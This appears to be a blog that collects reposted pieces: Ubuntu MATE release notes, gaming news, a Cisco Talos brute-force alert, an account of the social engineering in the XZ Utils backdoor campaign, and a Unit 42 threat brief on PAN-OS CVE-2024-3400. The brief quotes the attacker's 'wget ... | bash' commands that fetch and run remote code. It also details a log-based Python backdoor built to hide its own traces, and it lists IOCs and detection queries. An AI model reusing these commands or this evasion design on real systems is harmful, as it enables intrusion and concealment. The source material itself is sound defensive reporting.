SeedTheNet

Ubuntu MATE 24.04 LTS: A Stable and Enhanced Desktop Experience Ubuntu MATE 24.04 LTS brings forth a refined and stable MATE Desktop experience atop the latest Ubuntu platform. This release incorporates various fixes and aligns more closely with the Ubuntu ecosystem, offering users a seamless and reliable computing environment. "Thank you! I’d like to extend my sincere thanks to everyone who has played an active role in improving Ubuntu MATE for this release I’d like to acknowledge the close collaboration with all the Ubuntu flavour teams and the Ubuntu Foundations and Desktop Teams. The assistance and support provided by Erich Eickmeyer (Ubuntu Studio), Simon Quigley (Lubuntu) and David Muhammed (Ubuntu Budgie) have been invaluable. Thank you! " So, what's new in Ubuntu MATE 24.04 LTS compared to its predecessor, Ubuntu MATE 23.10? Let's delve into the key highlights: Stable MATE Desktop 1.26.2: This release ships with the stable version of MATE Desktop, version 1.26.2, which brings a selection of bug fixes and minor improvements to associated components, ensuring a smoother user experience. Integration of Ubuntu Desktop Bootstrap Installer: The new Ubuntu Desktop Bootstrap installer has been integrated, enhancing the installation process and making it more streamlined and user-friendly. GNOME Firmware and App Center: Ubuntu MATE 24.04 LTS includes GNOME Firmware, which replaces Firmware Updater, and the new App Center, which replaces Software Boutique. These additions add versatility and functionality to the desktop environment. Retirement of Ubuntu MATE Welcome: While Ubuntu MATE Welcome has been retired in this release, it remains available for users of Ubuntu MATE 23.10 and earlier versions. In terms of major applications, Ubuntu MATE 24.04 LTS comes bundled with a range of essential software, including Firefox 125 for browsing, Celluloid 0.26 for media playback, Evolution 3.52 for email management, and LibreOffice 24.2.2 for productivity tasks. For a comprehensive list of changes and improvements specific to Ubuntu MATE 24.04 LTS, refer to the Ubuntu 24.04 Release Notes. Overall, this release promises a stable and enhanced desktop experience for users who value reliability and performance in their computing environment. Release Notes : https://discourse.ubuntu.com/t/noble-numbat-release-notes/39890

In the realm of advanced persistent threats (APTs), sophisticated social engineering tactics are becoming increasingly prevalent, especially in orchestrating supply chain attacks within the open-source community. Recent revelations shed light on high-end APT groups employing intricate social engineering campaigns to breach well-defended targets and propagate malicious code. One such instance involves a meticulously orchestrated scheme targeting the XZ Utils project, a venerable open-source initiative, and its maintainer, Lasse Collin. The offensive effort unfolded gradually, introducing a network of remote personas, deceptive communications, and malicious code into the project's ecosystem. The ultimate objective? To stealthily implant an exclusive-use backdoor into sshd by exploiting vulnerabilities in the XZ Utils build process, with the intent of infiltrating major Linux distributions through a large-scale supply chain attack. The campaign's modus operandi reflects a learned approach, characterized by precise forum responses tailored to specific accounts and "out-of-band" interactions, strategically engaging targets such as underground rail system simulator software users in the Middle East. This nuanced strategy was exemplified by the delivery of Green Lambert implants, showcasing the adeptness of APT groups in leveraging social engineering for nefarious ends. The infiltration, primarily orchestrated by the potentially fictitious persona Jia Cheong Tan, saw the insertion of backdoor code into XZ Utils during the months of February and March 2024. While the execution of the penetration may have appeared somewhat clumsy, the meticulous planning and patience exhibited over multiple years underscore the sophistication of the operation. The implications of such supply chain attacks extend beyond individual projects, highlighting the vulnerability of open-source ecosystems to covert manipulation. As the open-source community remains a cornerstone of technological innovation, safeguarding against social engineering-driven threats demands heightened vigilance, robust security protocols, and collaborative efforts to fortify the integrity of supply chains. The exposure of this intricate social engineering endeavor serves as a stark reminder of the evolving threat landscape, urging stakeholders to remain vigilant and proactive in defending against sophisticated APT tactics targeting the heart of open-source collaboration. The original article : Social engineering for open-source supply chain attack profit High-end APT groups perform highly interesting social engineering campaigns in order to penetrate well-protected targets. For example, carefully constructed forum responses on precision targeted accounts and follow-up “out-of-band” interactions regarding underground rail system simulator software helped deliver Green Lambert implants in the Middle East. And, in what seems to be a learned approach, the XZ Utils project penetration was likely a patient, multi-year approach, both planned in advance but somewhat clumsily executed. This recently exposed offensive effort slowly introduced a small cast of remote characters, communications, and malicious code to the more than decade old open-source project XZ Utils and its maintainer, Lasse Collin. The backdoor code was inserted in February and March 2024, mostly by Jia Cheong Tan, likely a fictitious identity. The end goal was to covertly implement an exclusive use backdoor in sshd by targeting the XZ Utils build process, and push the backdoored code to the major Linux distributions as a part of a large-scale supply chain attack. While this highly targeted and interactive social engineering approach might not be completely novel, it is extraordinary. Also extraordinary is the stunningly subtle insertion of malicious code leveraging the build process in plain sight. This build process focus during a major supply chain attack is comparable only to the CozyDuke/DarkHalo/APT29/NOBELIUM Solarwinds compromise and the SUNSPOT implant’s cunning and persistent presence – its monitoring capability for the execution of a Solarwinds build, and its malicious code insertion during any Solarwinds build execution. Only this time, it’s human involvement in the build process. It’s notable that one of the key differentiators of the Solarwinds incident from prior supply chain attacks was the adversary’s covert, prolonged access to the source/development environment. In this XZ Utils incident, this prolonged access was obtained via social engineering and extended with fictitious human identity interactions in plain sight. One of the best publicly available chronological timelines on the social engineering side of the XZ Utils incident is posted by Russ Cox, currently a Google researcher. It’s highly recommended reading. Notably, Cox writes: “This post is a detailed timeline that I have constructed of the social engineering aspect of the attack, which appears to date back to late 2021.” A Singaporean guy, an Indian guy, and a German guy walk into a bar… Three identities pressure XZ Utils creator and maintainer Lasse Collin in summer 2022 to provoke an open-source code project handover: Jia Tan/Jia Cheong Tan, Dennis Ens, and Jigar Kumar. These identities are made up of a GitHub account, three free email accounts with similar name schemes, an IRC and Ubuntu One account, email communications on XZ Utils developer mailing lists and downstream maintainers, and code. Their goal was to grant full access to XZ Utils source code to Jia Tan and subtly introduce malicious code into XZ Utils – the identities even interact with one another on mail threads, complaining about the need to replace Lasse Collin as the XZ Utils maintainer. Note that the geographic dispersion of fictitious identities is a bit forced here, perhaps to dispel hints of coordination: Singaporean or Malaysian (possibly of a Hokkien dialect), northern European, and Indian. Misspellings and grammar mistakes are similar across the three identities’ communications. The “Jia Tan” identity seems a bit forced as well – the only public geolocation data is a Singaporean VPN exit node that the identity may have used on March 29 to access the XZ Utils Libera IRC chat. If constructing a fictitious identity, using that particular exit node would definitely be a selected resource. Our pDNS confirms this IP as a Witopia VPN exit. While we might expect a “jiat75” or “jiatan018” username for the “Jia Tan” Libera IRC account, this one in the screenshot above may have been used on March 29, 2024 by the “JiaT75” actor. One additional identity, Hans Jansen, introduced a June 2023 performance optimization into the XZ Utils source, committed by Collin, and later leveraged by jiaT75’s backdoor code. Jia Tan gleefully accepted the proposed IFUNC additions: “Thanks for the PR and the helpful links! Overall this seems like a nice improvement to our function-picking strategy for CRC64. It will likely be useful when we implement CRC32 CLMUL too :)”. This pull request is the Jansen identities’ only interaction with the XZ Utils project itself. And, unlike the other two identities, the Jansen account is not used to pressure Collin to turn over XZ Utils maintenance. Instead, the Hans Jansen identity provided the code and then disappeared. Nine months later, following the backdoor code insertion, Jansen urged a major Linux vendor in the supply chain to incorporate the backdoored XZ Utils code in their distribution. The identity resurfaced on a Debian bug report on March 24, 2024, creating an opportunity to generate urgency in including the backdoored code in the Debian distribution. Jia Tan Identity and Activity The Jia Cheong Tan (JiaT75) GitHub account, eventually promoted to co-maintainer of XZ Utils, which inserted the malicious backdoor code, was created January 26, 2021. JiaT75 was not exclusively involved in XZ Utils, having authored over 500 patches to multiple GitHub projects going back to early 2022. oss-fuzz cpp-docs wasmtime xz These innocuous patches helped to build the identity of JiaT75 as a legitimate open source contributor and potential maintainer for the XZ Utils project. The patch efforts helped to establish a relationship with Lasse Collin as well. The first JiaT75 code contribution to XZ Utils occurred on October 29, 2021. It was sent to the xz-devel mailing list. It was a very simple editor config file introduction. Following this initial innocuous addition, over the next two years, JiaT75 authored hundreds of changes for the XZ project. Yes, JiaT75 contributed code on both weekends and what appear to be workdays. However, an interesting anomaly is that the 2024 malicious commits occur out of sync with many previous commits. A Huntress researcher going by the alias “Alden” posted a visualization of the malicious Jia Tan commits to XZ Utils. JiaT75 commits the malicious code completely out of sync with prior work times on Feb 23–26, and March 8 and 9, 2024. The time differences for the malicious commits is noticeable. What might this anomaly suggest? We speculate on several possibilities: the JiaT75 account was used by a second party to insert the malicious code, either known or unknown to the individual contributor. the JiaT75 individual contributor was rushed to commit the malicious backdoor code. the JiaT75 account was run by a team of individuals and one part of the team needed to work without interruption outside of the usual constructed work day. Especially devious is the manner in which the obfuscated backdoor code is introduced in multiple separate pieces by JiaT75. Even though it was open-source, the bulk of the backdoor does not show up in the XZ source-code tree, is not human readable, and was not recognized. Summer 2022 Pressure to Add a Maintainer Multiple identities of interest pressured Lasse Collin to add a maintainer over the summer of 2022. The intensity of pressure on Collin varies per account, but they all create opportunities to pressure Collin and interact. Name GitHub Account Email Creation Jia Tan/Jia Cheong Tan JiaT75 jiat0218@gmail.com January 26, 2021 Dennis Ens – dennis3ns@gmail.com – Jigar Kumar – jigarkumar17@protonmail.com – If we take the first interaction on the xz-devel mailing list as the start of the campaign, Jia Tan sent a superficial code patch on September 29, 2021. This timestamp is eight months after the github account creation date. This initial contribution is harmless, but establishes this identity within the open-source project. A year later, Jigar Kumar pressured Lasse Collin to hand over access to Jia Tan over the spring and summer of 2022 in six chiding comments over two different threads. Wed, 27 Apr 2022 11:42:57 -0700 Re: [xz-devel] [PATCH] String to filter and filter to string “Your efforts are good but based on the slow release schedule it will unfortunatly be years until the community actually gets this quality of life feature.” Thu, 28 Apr 2022 10:10:48 -0700 Re: [xz-devel] [PATCH] String to filter and filter to string “Patches spend years on this mailing list. 5.2.0 release was 7 years ago. There is no reason to think anything is coming soon.” Fri, 27 May 2022 10:49:47 -0700 Re: [xz-devel] [PATCH] String to filter and filter to string “Over 1 month and no closer to being merged. Not a suprise.” Tue, 07 Jun 2022 09:00:18 -0700 Re: [xz-devel] XZ for Java “Progress will not happen until there is new maintainer. XZ for C has sparse commit log too. Dennis you are better off waiting until new maintainer happens or fork yourself. Submitting patches here has no purpose these days. The current maintainer lost interest or doesn’t care to maintain anymore. It is sad to see for a repo like this.” Tue, 14 Jun 2022 11:16:07 -0700 Re: [xz-devel] XZ for Java “With your current rate, I very doubt to see 5.4.0 release this year. The only progress since april has been small changes to test code. You ignore the many patches bit rotting away on this mailing list. Right now you choke your repo. Why wait until 5.4.0 to change maintainer? Why delay what your repo needs?” Wed, 22 Jun 2022 10:05:06 -0700 Re: [xz-devel] [PATCH] String to filter and filter to string “Is there any progress on this? Jia I see you have recent commits. Why can’t you commit this yourself?” The Dennis Ens identity sets up a thread of their own, and follows up by pressuring maintainer Collin in one particularly forceful and obnoxious message to the list. The identity leverages a personal vulnerability that Collin shared on this thread. The Jigar Kumar identity responds twice to this thread, bitterly complaining about the maintainer: “Dennis you are better off waiting until new maintainer happens or fork yourself.” Thu, 19 May 2022 12:26:03 -0700 XZ for Java “Is XZ for Java still maintained? I asked a question here a week ago and have not heard back. When I view the git log I can see it has not updated in over a year. I am looking for things like multithreaded encoding / decoding and a few updates that Brett Okken had submitted (but are still waiting for merge). Should I add these things to only my local version, or is there a plan for these things in the future?” Tue, 21 Jun 2022 13:24:47 -0700 Re: [xz-devel] XZ for Java I am sorry about your mental health issues, but its important to be aware of your own limits. I get that this is a hobby project for all contributors, but the community desires more. Why not pass on maintainership for XZ for C so you can give XZ for Java more attention? Or pass on XZ for Java to someone else to focus on XZ for C? Trying to maintain both means that neither are maintained well. Reflecting on these data points still leads us to shaky ground. Until more details are publicized, we are left with speculation: In a three-year project, a small team successfully penetrated the XZ Utils codebase with a slow and low-pressure campaign. They manipulated the introduction of a malicious actor into the trusted position of code co-maintainer. They then initiated and attempted to speed up the process of distributing malicious code targeting sshd to major vendor Linux distributions In a three-year project, an individual successfully penetrated the XZ Utils codebase with a slow and low-pressure campaign. The one individual managed several identities to manipulate their own introduction into the trusted position of open source co-maintainer. They then initiated and attempted to speed up the process of distributing malicious code targeting sshd to major vendor Linux distributions In an extremely short timeframe in early 2024, a small team successfully manipulated an individual (Jia Tan) that legitimately earned access to an interesting open-source project as code maintainer. Two other individuals (Jigar Kumar, Dennis Ens) may have coincidentally complained and pressured Collin to hand over the maintainer role. That leveraged individual began inserting malicious code into the project over the course of a couple of weeks. Spring 2024 Pressure to Import Backdoored Code to Debian Several identities attempted to pressure Debian maintainers to import the backdoored upstream XZ Utils code to their distribution in March 2024. The Hans Jansen identity created a Debian report log on March 25, 2024 to raise urgency to include the backdoored code: “Dear mentors, I am looking for a sponsor for my package “xz-utils”.” Name Email address Hans Jansen hansjansen162@outlook.com krygorin4545 krygorin4545@proton.me misoeater91@tutamail.com misoeater91@tutamail.com The thread was responded to within a day by additional identities using the email address scheme name-number@freeservice[.]com: Date: Tue, 26 Mar 2024 19:27:47 +0000 From: krygorin4545 <krygorin4545@proton.me> Subject: Re: RFS: xz-utils/5.6.1-0.1 [NMU] — XZ-format compression utilities Also seeing this bug. Extra valgrind output causes some failed tests for me. Looks like the new version will resolve it. Would like this new version so I can continue work Date: Tue, 26 Mar 2024 22:50:54 +0100 (CET) From: misoeater91@tutamail.com Subject: Re: RFS: xz-utils/5.6.1-0.1 [NMU] — XZ-format compression I noticed this last week and almost made a valgrind bug. Glad to see it being fixed. Thanks Hans! The code changes received pushback from Debian contributors: Date: Tue, 26 Mar 2024 19:27:47 +0000 From: krygorin4545 <krygorin4545@proton.me> Subject: new upstream versions as NMU vs. xz maintenance Very much *not* a fan of NMUs doing large changes such as new upstream versions.But this does give us the question, what’s up with the maintenance of xz-utils? Same as with the lack of security uploads of git, which you also maintain, are you active? Are you well? To which one of these likely sock puppet accounts almost immediately responded, in order to counteract any distraction from pushing the changes: Date: Wed, 27 Mar 2024 12:46:32 +0000 From: krygorin4545 <krygorin4545@proton.me> Subject: Re: Bug#1067708: new upstream versions as NMU vs. xz maintenance Instead of having a policy debate over who is proper to do this upload, can this just be fixed? The named maintainer hasn’t done an upload in 5 years. Fedora considered this a serious bug and fixed it weeks ago (). Fixing a valgrind break across many apps throughout Debian is the priority here. What NeXZt? Clearly social engineering techniques have much lower technical requirements to gain full access to development environments than what we saw with prior supply chain attacks like the Solarwinds, M.E.Doc ExPetya, and ASUS ShadowHammer incidents. We have presented and compared these particular supply chain attacks, their techniques, and their complexities, at prior SAS events [registration required], distilling an assessment into a manageable table. Unfortunately, we expect more open-source project incidents like XZ Utils compromise to be exposed in the months to come. As a matter of fact, at the time of this writing, the Open Source Security Foundation (OSSF) has identified similar social engineering-driven incidents in other open-source projects, and claims that the XZ Utils social engineering effort is highly likely not an isolated incident. https://securelist.com/xz-backdoor-story-part-2-social-engineering/112476/

Fat Princess, a quirky and beloved multiplayer action game released by Sony, has left a lasting impression on gamers since its debut. However, the game's discontinuation has sparked a wave of nostalgia and calls from fans for its revival. Originally released in 2009 for the PlayStation 3, Fat Princess quickly gained a dedicated following thanks to its unique blend of strategy, humor, and chaotic multiplayer battles. The game's premise, centered around rescuing a princess who can become harder to save as she consumes cake, delighted players and offered a refreshing take on the multiplayer genre. Despite its initial success and popularity, Fat Princess eventually faced the unfortunate fate of being discontinued by Sony. This decision left many fans disappointed and longing to revisit the whimsical world of cake-fueled warfare. Fans argue that a revival of Fat Princess would be well-received in today's gaming landscape, where multiplayer experiences and unique gameplay concepts continue to thrive. The game's lighthearted tone, strategic depth, and emphasis on teamwork could resonate with a wide audience, offering a refreshing alternative to more mainstream titles. Moreover, the advancements in online infrastructure and gaming platforms present an opportunity for Fat Princess to make a triumphant return with enhanced features, improved connectivity, and potential cross-platform play. As people have became sensitive to everything in the modern days , would they also be sensitive to the game name and overweight people? But what we should see is another Fat Princess game!. Fat Princess can be played in RPCS3 for the Nostalgia!

In January 2024, LittleBigPlanet 3 encountered persistent technical issues that led to the temporary shutdown of its servers for PS4. However, due to ongoing challenges, the decision has been made to keep the servers offline indefinitely. This means that all online services, including access to other players' creations, are no longer available. While this is undoubtedly disappointing news for the LittleBigPlanet 3 community, there are some important details to note. User-generated content (UGC) stored locally on your PS4 will still be accessible, allowing you to continue enjoying previously created content. However, any new UGC you create will be limited to local play on your PS4 and cannot be shared online. Despite the discontinuation of online services, offline features such as the campaign will remain fully playable. This ensures that players can still experience the core gameplay elements and enjoy the game's content independently of online connectivity. It's important for players to be aware of these changes and adjust their gameplay expectations accordingly. While the loss of online services is regrettable, LittleBigPlanet 3 still offers a rich single-player experience and access to locally stored user-generated content. The decision to keep the servers offline indefinitely reflects the challenges faced in maintaining online infrastructure and ensuring a stable and enjoyable experience for players. As the gaming landscape evolves, developers and publishers must make decisions that prioritize the long-term viability of their games while also considering the needs and expectations of their player base. https://www.playstation.com/en-us/legal/gameservers/

Cisco Talos, along with the Duo Security Research team, extends its gratitude to Brandon White, Phillip Schafer, Mike Moran, and Becca Lynch for their groundbreaking research that has uncovered a concerning trend in cyberattacks. Since March 18, 2024, Cisco Talos has been closely monitoring a significant rise in brute-force attacks targeting various entities globally. These attacks are directed towards Virtual Private Network (VPN) services, web application authentication interfaces, and SSH services, posing a serious threat to cybersecurity. What's particularly alarming is that these attacks are emanating from TOR exit nodes, as well as a spectrum of other anonymizing tunnels and proxies. This sophisticated approach to conceal the attackers' identities makes it challenging to trace and thwart these malicious activities effectively. The repercussions of successful attacks of this nature can be severe, ranging from unauthorized network access and account lockouts to potential denial-of-service (DoS) scenarios. As the frequency of these attacks continues to escalate, it's imperative for organizations to fortify their defenses and remain vigilant against evolving threats. While the list of known affected services includes VPN services, web authentication interfaces, and SSH services, it's crucial to note that these attacks may extend to other services as well. Organizations across various sectors must be proactive in implementing robust security measures to mitigate the risks posed by these brute-force attacks. Depending on the target environment, successful attacks of this type may lead to unauthorized network access, account lockouts, or denial-of-service conditions. The traffic related to these attacks has increased with time and is likely to continue to rise. Known affected services are listed below. However, additional services may be impacted by these attacks. Cisco Secure Firewall VPN Checkpoint VPN Fortinet VPN SonicWall VPN RD Web Services Miktrotik Draytek Ubiquiti The brute-forcing attempts use generic usernames and valid usernames for specific organizations. The targeting of these attacks appears to be indiscriminate and not directed at a particular region or industry. The source IP addresses for this traffic are commonly associated with proxy services, which include, but are not limited to: TOR VPN Gate IPIDEA Proxy BigMama Proxy Space Proxies Nexus Proxy Proxy Rack Cisco Talos remains committed to monitoring and analyzing these threats, collaborating with industry experts, and providing timely insights and solutions to safeguard digital infrastructures against emerging cyber threats. https://blog.talosintelligence.com/large-scale-brute-force-activity-targeting-vpns-ssh-services-with-commonly-used-login-credentials/

In a surprising twist of events, the recent release of Amazon's highly anticipated Fallout TV show has reignited interest in the iconic Fallout game series. Fans old and new are diving back into the post-apocalyptic world, drawn by the show's captivating narrative and nostalgic allure. What sets the Fallout TV show apart is its faithful adaptation of the game universe, capturing the essence of the series and translating it into a compelling visual narrative. This authenticity has resonated with viewers, inspiring many to pick up the controller and experience the wasteland firsthand. For existing fans, the show serves as a nostalgic reminder of their adventures in the Fallout universe, while newcomers are intrigued by the unique blend of retro-futurism, dark humor, and moral dilemmas that define the games. The connection between the TV show and the games has created a symbiotic relationship, with each medium complementing the other to create a richer, more immersive experience. As discussions and excitement around Fallout continue to grow, the community is buzzing with theories, fan creations, and shared experiences. With the Fallout TV show acting as a catalyst, the games are once again in the spotlight, drawing in players old and new to explore the radioactive ruins, face off against mutated creatures, and navigate the complexities of a post-nuclear world. Looking at the SteamDB.info website , it shows that there is a GAIN of +139.0% which brought around 35k players more Fallout 4 : Fallout 3 saw a small jump : Fallout 76 124% which is around 15k players more The Fallout 4 next-gen upgrade is slated for release on April 25

When it comes to cybersecurity, staying ahead of the game is crucial. Palo Alto Networks, along with Unit 42, is actively monitoring and responding to the latest security challenges that could affect networks worldwide. One such challenge is the critical command injection vulnerability known as CVE-2024-3400, which poses a serious risk to users of Palo Alto Networks PAN-OS software. This article takes a closer look at CVE-2024-3400, emphasizing its severity with a CVSS score of 10.0 A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. Fixes for PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 are in development and are expected to be released by April 14, 2024. Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability. All other versions of PAN-OS are also not impacted. Required Configuration for Exposure This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both) and device telemetry enabled. You can verify whether you have a GlobalProtect gateway or GlobalProtect portal configured by checking for entries in your firewall web interface (Network > GlobalProtect > Gateways or Network > GlobalProtect > Portals) and verify whether you have device telemetry enabled by checking your firewall web interface (Device > Setup > Telemetry). Severity: CRITICAL CVSSv4.0 Base Score: 10 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:Y/R:U/V:C/RE:M/U:Red) Exploitation Status Palo Alto Networks is aware of a limited number of attacks that leverage the exploitation of this vulnerability. More information about the vulnerability's exploitation in the wild can be found in the Unit 42 threat brief: https://unit42.paloaltonetworks.com/cve-2024-3400/. Weakness Type CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection') Solution This issue will be fixed in hotfix releases of PAN-OS 10.2.9-h1 (ETA: By 4/14), PAN-OS 11.0.4-h1 (ETA: By 4/14), and PAN-OS 11.1.2-h3 (ETA: By 4/14), and in all later PAN-OS versions. Workarounds and Mitigations Recommended Mitigation: Customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 95187 (introduced in Applications and Threats content version 8833-8682). In addition to enabling Threat ID 95187, customers must ensure vulnerability protection has been applied to their GlobalProtect interface to prevent exploitation of this issue on their device. Please see https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184 for more information. If you are unable to apply the Threat Prevention based mitigation at this time, you can still mitigate the impact of this vulnerability by temporarily disabling device telemetry until the device is upgraded to a fixed PAN-OS version. Once upgraded, device telemetry should be re-enabled on the device. Please see the following page for details on how to temporarily disable device telemetry: https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-configure/device-telemetry-disable. Executive Summary Palo Alto Networks and Unit 42 are engaged in tracking activity related to CVE-2024-3400 and are working with external researchers, partners and customers to share information transparently and rapidly. A critical command injection vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. The vulnerability, assigned CVE-2024-3400, has a CVSS score of 10.0. This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0 and PAN-OS 11.1 firewall configurations with a GlobalProtect gateway and device telemetry enabled. This issue does not affect cloud firewalls (Cloud NGFW), Panorama appliances or Prisma Access. For up-to-date information about affected products and versions, please refer to the Palo Alto Networks Security Advisory on this issue. Palo Alto Networks is aware of malicious exploitation of this issue. We are tracking the initial exploitation of this vulnerability under the name Operation MidnightEclipse, as we assess with high confidence that known exploitation we’ve analyzed thus far is limited to a single threat actor. We also assess that additional threat actors may attempt exploitation in the future. This threat brief will cover information about the vulnerability and what we know about post-exploitation. We will share interim guidance to mitigate the vulnerability, though readers should also refer to the security advisory for specific product version information and remediation guidance. We will continue to update this threat brief as more information becomes available. If you believe your firewall has been compromised, please reach out to Palo Alto Networks support. This issue will be fixed in an upcoming release of PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1 and all later PAN-OS versions by ETA April 14, 2024. As a matter of best practice, Palo Alto Networks recommends that you monitor your network for abnormal activity and investigate any unexpected network activity. We would like to thank Volexity for finding this issue and their continuing coordination and partnership. Please reference Volexity’s blog for their analysis. Palo Alto Networks customers receive protections from and mitigations for CVE-2024-3400 and malware used in post-exploitation activity in the following ways: Palo Alto Networks recommends customers with a Threat Prevention subscription block attacks for this vulnerability by enabling Threat ID 95187 (introduced in Applications and Threats content version 8833-8682). In addition to enabling Threat ID 95187, customers must ensure vulnerability protection has been applied to their GlobalProtect interface to prevent exploitation of this issue on their device. Please see the relevant LIVEcommunity article for more information. If you are unable to apply the Threat Prevention based mitigation at this time, you can still mitigate the impact of this vulnerability by temporarily disabling device telemetry until the device is upgraded to a fixed PAN-OS version. Once upgraded, device telemetry should be re-enabled on the device. The Managed Threat Hunting section below includes XQL queries that can be used to search for signs of exploitation of this CVE. The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk. Vulnerabilities Discussed CVE-2024-3400 Table of Contents Details of the Vulnerability Current Scope of the Attack Interim Guidance Unit 42 Managed Threat Hunting Queries Conclusion Palo Alto Networks Product Protections for CVE-2024-3400 Next-Generation Firewalls and Prisma Access With Advanced Threat Prevention Cortex XDR, XSIAM and the Unified Cloud Agent Cortex Xpanse and XSIAM ASM Module Indicators of Compromise UPSTYLE Backdoor Command and Control Infrastructure Hosted Python Backdoor Observed Commands Additional Resources Details of the Vulnerability A command injection vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0 and PAN-OS 11.1 firewall configurations with both a GlobalProtect gateway and device telemetry enabled. You can verify whether you have these features configured by checking for entries in your firewall web interface. Our security advisory includes a link to further instructions on how to temporarily disable device telemetry. Palo Alto Networks is aware of targeted attacks that leverage this vulnerability. The next section covers details of the post-exploitation activity we’ve observed. Current Scope of the Attack As part of the activity observed in Operation MidnightEclipse, after exploitation, the threat actor created a cronjob that would run every minute to access commands hosted on an external server that would execute via bash, as seen in the following command: wget -qO- hxxp://172.233.228[.]93/policy | bash We were unable to access the commands executed via this URL. However, we believe this URL was used to deploy a second Python-based backdoor, which our colleagues at Volexity referred to as UPSTYLE. The UPSTYLE backdoor uploaded to the firewall was hosted at hxxp://144.172.79[.]92/update.py, but we saw a similar backdoor hosted at nhdata.s3-us-west-2.amazonaws[.]com. According to the HTTP headers, it appears the threat actor last modified it on April 7, 2024. 1 2 3 4 5 6 7 8 9 10 11 12 13 Accept-Ranges: bytes Content-Length: 5187 Content-Type: application/octet-stream Date: Thu, 11 Apr 2024 16:12:16 GMT Etag: "6612443d-1443" Last-Modified: Sun, 07 Apr 2024 06:59:09 GMT Server: nginx/1.18.0 (Ubuntu) The update.py file hosted at 144.172.79[.]92 has a SHA256 value of 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac. This file is a backdoor that has multiple layers. First, update.py writes another Python script to the following location: [snip]/site-packages/system.pth The Python script written to system.pth Base64 decodes an embedded Python script and executes it. This embedded Python script has two functions named protect and check, which are called in that order. The protect function sends a SIGTERM signal and writes the contents of the system.pth file back to itself, likely as a persistence mechanism. The check function will read /proc/self/cmdline to see if it is running as monitor mp before running another Base64 embedded Python script, which is the functional backdoor. The Python script run by system.pth has a function named __main that will run in a thread. This function first reads the contents of the following file, along with its access and modified times: [snip]/css/bootstrap.min.css It then enters an infinite loop that iterates once every two seconds, reading in the following file: [snip]/sslvpn_ngx_error.log The script will then iterate through each line of the file and search the line for the threat actor's command using the following regular expression: img\[([a-zA-Z0-9+/=]+)\] If the above regular expression matches, the script will Base64 encode the contents of the command and run it using the popen method within Python's OS module. The lines of the sslvpn_ngx_error.log file that do not match the regular expression are written back to the file, which essentially prunes the lines that contain commands from persisting in the sslvpn_ngx_error.log file for later analysis. After running the command, the script writes the output of the command to the following file: [snip]/css/bootstrap.min.css The script will then create another thread that runs a function called restore. The restore function takes the original content of the bootstrap.min.css file, as well as the original access and modified times, sleeps for 15 seconds and writes the original contents back to the file and sets the access and modified times to their originals. The point of this function is to avoid leaving the output of the commands available for analysis. Also, this suggests that the threat actor has automation built into the client side of this backdoor, as they only have 15 seconds to grab the results before the backdoor overwrites the file. Using the initial backdoor in the crontab, we have evidence of a handful of the commands the threat actor ran on the firewall. The commands include copying configuration files to the web application folder and exfiltrating them via HTTP requests to those files. The following IP address was seen attempting to access a specific configuration file copied to this folder, which we believe is a VPN used by the threat actor: 66.235.168[.]222 We also observed the threat actor running another command to receive commands from a slightly different URL as the cronjob backdoor: wget -qO- hxxp://172.233.228[.]93/patch|bash Lastly, the threat actor cleaned up after themselves by removing all files associated with the backdoors and clearing their cronjobs. Interim Guidance Please refer to the Palo Alto Networks security advisory on CVE-2024-3400 for the most current interim guidance for mitigating the vulnerability. Unit 42 Managed Threat Hunting Queries The Unit 42 Managed Threat Hunting team continues to track any attempts to exploit this CVE across our customers, using Cortex XDR and the XQL queries below. Cortex XDR customers can also use these XQL queries to search for signs of exploitation. 1 2 3 4 // Description: Search for domain IOC in raw NGFW logs dataset = panw_ngfw_url_raw | filter url_domain ~= ".*nhdata.s3-us-west-2.amazonaws.com" | fields _time, log_source_name, action, app, url_domain, uri, url_category, source_ip, source_port, dest_ip, dest_port, protocol, rule_matched, rule_matched_uuid 1 2 3 4 5 // Description: Detect hits for the specific prevention signature for CVE-2024-3400 config case_sensitive = false | dataset = panw_ngfw_threat_raw | filter threat_id = "95187" | fields _time, log_source_name, action, app_category, app_sub_category, threat_id, threat_name, source_ip, source_port, dest_ip, dest_port, * 1 2 3 4 5 // Description: Hits for known IOCs in NGFW traffic config case_sensitive = false | dataset = panw_ngfw_traffic_raw | filter source_ip in ("66.235.168.222", "144.172.79.92", "172.233.228.93") or dest_ip in ("66.235.168.222", "144.172.79.92", "172.233.228.93") | fields _time, log_source_name, action, action_source, app, bytes_sent, bytes_received, bytes_total, source_ip, source_port, dest_ip, dest_port, protocol, rule_matched, rule_matched_uuid, session_end_reason 1 2 3 4 5 6 // Description: Hits for known IOCs in XDR telemetry and NGFW telemetry (assuming proper integration of NGFW) config case_sensitive = false | dataset = xdr_data | filter event_type = ENUM.STORY | filter action_remote_ip in ("172.233.228.93", "66.235.168.222", "144.172.79.92") OR dns_query_name ~= ".nhdata.s3-us-west-2.amazonaws.com" OR action_external_hostname ~= ".nhdata.s3-us-west-2.amazonaws.com" | fields _time, agent_hostname, actor_process_image_name, action_local_ip, action_remote_ip, action_remote_port, dns_query_name, action_external_hostname Conclusion The security advisory will continue to provide up to date information on impacts to Palo Alto Networks products and recommended mitigations. We will continue to update this threat brief with information on exploitation. Again, Palo 